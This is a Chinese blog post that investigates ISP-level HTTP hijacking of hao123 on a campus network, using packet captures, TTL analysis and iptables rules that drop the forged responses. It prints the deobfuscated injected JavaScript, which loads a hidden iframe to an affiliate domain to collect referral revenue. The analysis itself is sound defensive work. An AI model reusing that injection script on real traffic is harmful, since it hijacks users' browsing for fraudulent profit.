研究学校网络 hao123 被挟持的问题

片头

前几个星期,在学校贴吧看到了有校园网用户反应 hao123 无法打开,目测存在循环重定向的问题:校园网他妈的是被劫持了吗??打开hao123无限跳转

在文章最前面,讲一下本文的测试环境:

位置:宇宙某工业大学校园网宿舍(电信出口) 系统:Archlinux

初步测试

经过了本人的测试,挟持问题存在,但循环重定向导致不能打开的问题难以复现。

当用户直接打开 http://www.hao123.com/ 的时候,根据浏览器的不同,正常情况下,普通浏览器来说是会跳转到 https://www.hao123.com/ 的,少数部分浏览器是会直接返回 HTTP/1.1 200 OK 直接返回网页,不过这也是正常的。

经过多次测试,在挟持的情况下,最终用户会被跳转到两个不同的推广地址。经过网上的搜索核实, ?tn=????????_hao_pg 为 hao123 的推广地址,也就是说,你的每一次访问,某些人都会从中获利。

挟持的推广地址如下:

http://www.hao123.com/?tn=90049484_hao_pg
http://www.hao123.com/?tn=99945998_hao_pg

深入研究

burpsuite 暴力测试

通过 burpsuite 连续发 100 个 HTTP 包,我发现挟持是随机的。

有时候连续几个包都是正常包,有时候连续几个包都是挟持包,甚至有时候只有一个正常包,然后上下有 N 个挟持包。(反正我没发现规律

在多次测试之下,我发现在不同的情况下,总共会有三个不同的挟持包。

为了给大家一个直观的感觉,我将这三个挟持包都上传到了我的网站。其中,第二个我访问的地址是 /?tn=0

https://imlonghao.com/upload/2015/11/17/hijacking-1.txt
https://imlonghao.com/upload/2015/11/17/hijacking-2.txt
https://imlonghao.com/upload/2015/11/17/hijacking-3.txt

三个挟持包,第 1 和第 2 个基本上是相同的,唯一的区别在于第二个还设置了 Cookies 。我姑且将前面两个包归为一类,两种挟持包的制作不一,可以看到应该是出自不同人之手。

前者的代码经过混淆,不过很容易被网上的工具所解密。解密之后的代码如下:

(function(r, o, k, v) {
    r.onerror = function() {
        return !0
    };
    var i = 0,
        da = o.getElementById("d"),
        db = da.scrollWidth,
        dt = parseInt(db / 200),
        de = function(n) {
            var c = n.charAt(0) * 1;
            if (isNaN(c)) return '';
            c = n.substr(1, c) * 1;
            if (isNaN(c)) return '';
            var l = n.length,
                t = [],
                a, f, b, e = String(c).length + 1,
                m = function(d) {
                    return k.indexOf(n.charAt(d))
                },
                i = k.length;
            if (l != e + c) return '';
            while (e < l) {
                a = m(e++);
                if (a < 5) f = a * i + m(e);
                else f = (a - 5) * i * i + m(e) * i + m(e += 1);
                t[t.length] = String.fromCharCode(f);
                e++
            }
            return t.join('')
        },
        tn = de(v),
        pu = function() {
            if (i <= db) {
                da.innerHTML = "<div id='c' style='width:" + i + "px;'><!----></div>";
                setTimeout(pu, dt)
            } else {
                da.innerHTML = "<div id='c' style='width:100%'><!----></div>";
                ~ function(a) {
                    a.style.display = 'none';
                    a.src = 'http://www.tianjiwen.com/hao/?tn=' + tn;
                    da.insertBefore(a, null)
                }(o.createElement('iframe'))
            };
            i = i + 10
        };
    pu()
})(self, document, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "230CFCFCFCACBCFCFCEDREADTEHDREIDZ");

唯一有用的东西就是 tianjiwen.com,不过域名似乎是虚假信息注册的。

Registrant Street: china
Registrant City: dexin
Registrant State/Province: zhangye
Registrant Email: [email protected]

再来看另外一个,没有混淆,意图直截了当,就是让你跳转到他的地址上。

因此可以判断,前者挟持包所对应的推广地址是 http://www.hao123.com/?tn=99945998_hao_pg ,后者挟持包对应的推广地址是 http://www.hao123.com/?tn=99945998_hao_pg

神奇的参数

经过测试,当然上面我也有所提及,当 GET 的地址存在一个参数时,经过测试无论是什么参数都好(例:http://www.hao123.com/?ahttp://www.hao123.com/?a=1),只要参数存在,就会返回 hijacking-2.txt 这个挟持包。

这样的话就不难推断出用户反映的循环重定向的问题了。

直接访问 http://www.hao123.com ,被挟持到 http://www.hao123.com/?tn=90049484_hao_pg ,连接存在参数,跳转 http://www.hao123.com/?tn=99945998_hao_pg ,然后出于某种原因,两个推广直接撕逼,然后导致循环重定向,打不开 hao123 的问题。

wireshark 抓包

hijacking-1

这里抓到的包是 hijacking-3.txt 的包,也就是跳转到 90049484 的包。

简单分析一下,52-54 是 TCP 三次握手,握手成功后,55 本地提出了这个请求,然后 56 就收到了回复,不过是挟持包的。另外,58 同样也是挟持包,而真正的包在 63 的位置。

通过看 TTL ,我们也看出了异常。

53 中回复我们 SYN,ACK 的 TTL 是 47 ,这和我们 ping 目标主机得到的结果是一样的,基本断定这个是真实的。然而 55 / 58 中回复我们的 TTL 却是 210 ,这显然不是我们想要的结果。

Wireshark 的存档下载地址:https://imlonghao.com/upload/2015/11/17/hijacking-1.pcapng.gz

然后通过 tcp.stream eq 2 过滤显示结果


hijacking-2

这里抓到的包是 hijacking-[1|2].txt 的包,也就是跳转到 99945998 的包。

前面的握手我就不多说了,大体和上面一样,这次和上面不同的是。11 的 tcp-flags 是 FIN,PSH,ACK ,比上面的多了一个 PSH

在网上找到的解释:

Push flag is used to push the data without any intermediate buffering(storing)

摘自:TCP flags: Hackers Playground | Packet Crafter

大概的作用除了标记有数据传输之外,还有一个加速传输的作用,目的应该就是为了让这个挟持包比正确包更快的到达用户电脑。

同样,这次的正常包比挟持包慢了,因此又被落在了后面。

另外值得一提的是,这次的挟持包 TTL 是 57 ,因此我不负责任的判定是有两台不同的设备在搞鬼。

Wireshark 的存档下载地址:https://imlonghao.com/upload/2015/11/17/hijacking-2.pcapng.gz

然后通过 tcp.stream eq 1 过滤显示结果

解决方案

使用 HTTPS

https://www.hao123.com/ 设置为主页

逐个分析,逐个击破

我们先对 hijacking-3.txt 进行分析,观察他返回的 HTTP headers 头,有一个很明显的特征,并且经过多日的实验,他都是不变的,那就是他的 Server 名

Server: c7#|<J

线上部署的时候,我想应该没有人会用这个作为自己 web 容器的名字的。

因此,我们可以用这个作为关键词,在 iptables 中进行关键字的 DROP

sudo iptables -A INPUT -p tcp --sport 80 -m string --string "Server: c7#|<J" --algo bm -j DROP

如果是路由器设置的话需要把 INPUT 改成 FORWARD

设置规则后,经过多次测试,后者的挟持已经不会再影响到我们了。

直接访问 http://www.hao123.com/ 已经可以

hijacking-3


接下来到另外一个挟持包,这种的话,特征也是有的,那就是他设置的 qh[360]=1 ,我至今也不知道他设置这个用意何在,是为了嫁祸给数字公司吗?

结合他独特的 PSH 标签,我们可以设置这样的 iptables 规则

sudo iptables -A INPUT -p tcp --sport 80 -m string --string "qh[360]=1" --algo bm --tcp-flags FIN,PSH,ACK FIN,PSH,ACK -j DROP

至此,问题解决!

总结

1、设置 https://www.hao123.com 为首页

2、设置 iptables 规则如下:

sudo iptables -A INPUT -p tcp --sport 80 -m string --string "Server: c7#|<J" --algo bm -j DROP
sudo iptables -A INPUT -p tcp --sport 80 -m string --string "qh[360]=1" --algo bm --tcp-flags FIN,PSH,ACK FIN,PSH,ACK -j DROP

路由器设置的话,将 INPUT 改为 FORWARD

hijacking-4

写在最后

由于本人技术有限,部分地方可能有纰漏,敬请指出!